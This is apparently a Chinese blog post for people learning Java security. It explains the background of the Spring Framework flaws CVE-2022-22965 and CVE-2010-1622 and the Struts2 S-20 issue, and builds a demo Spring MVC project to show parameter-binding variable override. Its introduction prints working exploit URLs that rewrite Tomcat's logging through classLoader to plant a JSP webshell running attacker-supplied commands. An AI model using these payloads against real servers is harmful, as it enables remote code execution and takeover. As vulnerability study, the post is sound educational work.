前言:记录一篇自己入门java安全的故事,捋一下思路,轻量知识 ,重在调试 !
.
这篇文章四个部分:
引入篇:整理一下CVE-2022-22965漏洞的来龙去脉
基础篇:回顾Java中一些基础的内容
调试篇:阅读Spring MVC部分源码
分析篇:分析篇:分析CVE-2010-1622、CVE-2022-22965的漏洞成因
.
引入篇
我们知道,在Java中有三大框架的说法,不同时代采取的框架组合方式不同,一个大概的历史进程是:
SSH(Struts、Spring 和 Hibernate)—>SSM(Spring、SpringMVC 和 MyBatis)—>SpringBoot
在这个过程中,MVC作为经典的设计模式在这些框架中一直扮演着很重要的角色(MVC,Model 数据,View 视图,Controller控制器),Spring系列中对MVC设计模式的实现就是我们开发中经常用到的Spring MVC 框架。
对于Spring MVC 框架来说,它要实现的一个重要的功能就是请求参数自动绑定。在PHP中如果要完成一个前端请求到后端接受的过程,通常需要在后端使用超全局变量 $_GET
和 $_POST
手动绑定HTTP/HTTPS请求报文封装的参数参数;但是,对于一个使用了Spring MVC框架的Java Web项目来说,我们仅仅需要在处理器的方法上挂一个注解,这个参数绑定过程就会自动地被Spring MVC完成(如,@Controller注解,@RequestMapping(value)注解 )。
.
CVE-2022-22965 这个漏洞的成因就发生在Spring MVC参数自动绑定的这个过程中
.
在开始具体的分析之前,我们先来看几个的案例,通过这些例子,会对CVE-2022-22965这个漏洞的成因有一个大致地全局性的认识。
1、CVE-2010-1622变量覆盖问题导致的任意代码执行
在CVE-2010-1622中,存在一个变量覆盖问题,Spring MVC对于前端传过来的数组类型的变量,会直接调用底层赋值,绕过了正常的反射调用Bean.setter对Bean的属性赋值的流程。
更近一步的,由于Java中所有的类都继承自Object类,且Object类存在一个获取Class类实例的getClass方法,因此Spring MVC通过内省(Introspector)一个类获取Bean属性时,属性列表中会有一个class属性。
最后通过class属性递归获取到classLoader,并通过修改classLoader加载了一个恶意类,直接造成了任意代码执行漏洞。
2、Struts2框架的S-20漏洞造成的DOS和任意命令执行
在Struts2框架的S-20漏洞中也有用到通过classLoader 来实现恶意攻击的思想,通过控制Tomcat的应用目录,使其指向一个不存在的目录,以此直接造成了服务器被DOS掉。
另外,还有通过classLoader控制Tomcat的服务器日志,通过改变日志文件格式使其成为一个jsp文件,以此写入一个webshell,在这之后,如果访问 日志.jsp
文件 时带入恶意命令,将直接造成任意命令执行。
```
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2
http://127.0.0.1:8080/FirstStruts2/aaa.jsp?=<%Runtime.getRuntime().exec("calc");%>
```
(这里忘记存图了,放上一张yiran4827师傅的图)
3、CVE-2022-22965利用Java9新特性module属性绕过classLoader waf导致的任意命令执行
CVE-2022-22965中任然用到了例2中通过classLoader控制Tomcat服务器日志文件并写入webshell的攻击手法,仅仅是在payload上多加了个 moudule
关键字,修改版的payload是对例2中漏洞修补的绕过,而绕过的原因则是因为 jdk 9 引入了 module
。
http://localhost:8090/SpringMVC5_war/spring/info?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
(注意,需要处理url编码问题)
4、Spring MVC框架的变量覆盖问题
CVE-2010-1622里的变量覆盖问题导致了任意代码执行,但由于太古老了,且利用条件苛刻,应该已经不太可能了( tomcat版本6左右 + Spring版本3左右 ),但是变量覆盖的问题一直到Spring版本5还存在。
.
我们创建一个简易的Spring MVC项目来了解一下这个问题 ( Spirng 5.2.8,jdk11.0.2 和 Tomcat 9.0.0 )
配置一下web.xml,内容如下:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!--注册servlet-->
<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<!--初始化Spring配置文件的位置-->
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc-servlet.xml</param-value>
</init-param>
<!--启动顺序,数字越小,启动越早-->
<load-on-startup>1</load-on-startup>
</servlet>
<!--所有的请求都会被SpringMVC拦截-->
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
```
src目录下放个springmvc-servlet.xml配置文件,内容如下:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
<context:component-scan base-package="controller"/>
<!-- 支持mvc注解驱动-->
<mvc:annotation-driven/>
<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"
id="internalResourceViewResolver">
<!-- 前缀 -->
<property name="prefix" value="/WEB-INF/"/>
<!-- 后缀 -->
<property name="suffix" value=".jsp"/>
</bean>
```
src目录下创建两个包名,分别为controller和pojo,controller包下写个名为FirstController的控制器,内容如下:
```java
package controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import pojo.People;
@Controller
@RequestMapping(value = "/level")
public class FirstController {
@RequestMapping(value = "/welcome")
public String welcome() {
System.out.println("welcome!");
return "welcome";
}
@RequestMapping(value = "/info", method = RequestMethod.GET)
public String info(People people) {
System.out.println("nick:" + people.getNick());
System.out.println("job:" + people.getJob());
System.out.println("hobby:"+ people.getHobby()[0]);
return "info";
}
}
```
pojo包下写个People类用来封装请求参数,内容如下:
```java
package pojo;
public class People {
private String nick;
private String job;
private String hobby[] = new String[]{"eat"};
public String getNick() {
return nick;
}
public String getJob() {
return job;
}
public String[] getHobby() {
return hobby;
}
public void setNick(String nick) {
this.nick = nick;
}
}
```
最后写上3个简易的视图文件,内容如下:
index.jsp
jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>首页</title>
</head>
<body>
<h1> 首页</h1>
</body>
</html>
info.jsp
jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Info</title>
</head>
<body>
<h1>Info</h1>
</body>
</html>
welcome.jsp
jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>welcome</title>
</head>
<body>
<h1>Welcome</h1>
</body>
</html>
项目运行起来后,看一下实际的效果:
实际上:
- 在我们的People类中,我们定义了
nick
,job
和hobby
这三个变量,且这三个变量都有对应的getter
方法 - 特殊的,我们只写了个
nick
变量对应的setter
方法,以及hobby
变量是一个数组类型的变量,且已经赋予初值,即hobby[0] = "eat"
- 这就意味着,三个变量中仅
nick
是可修改的,job
和hobby
是不可修改的
FirstController控制器的 info
方法会将People类的三个属性变量的值打印到后台,我们来看一下效果:
不带参数时:
仅能获得 hobby
变量的值,此时访问后获得了预期解
带入参数时:
nick
,job
和 hobby
变量都赋值,访问后预期解应该是 nick
赋值成功,job
和 hobby
赋值失败,不过,此时就可以发现,即使 job
和 hobby
变量都没有 setter
方法,但是 hobby
变量却可以被赋值成功!
.
后面,我们会从Spring MVC框架的这个变量覆盖问题切入,来对Spring MVC框架进行简答的调试与学习,并以此来对Spring MVC框架的设计原理进行一丝窥探 !
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论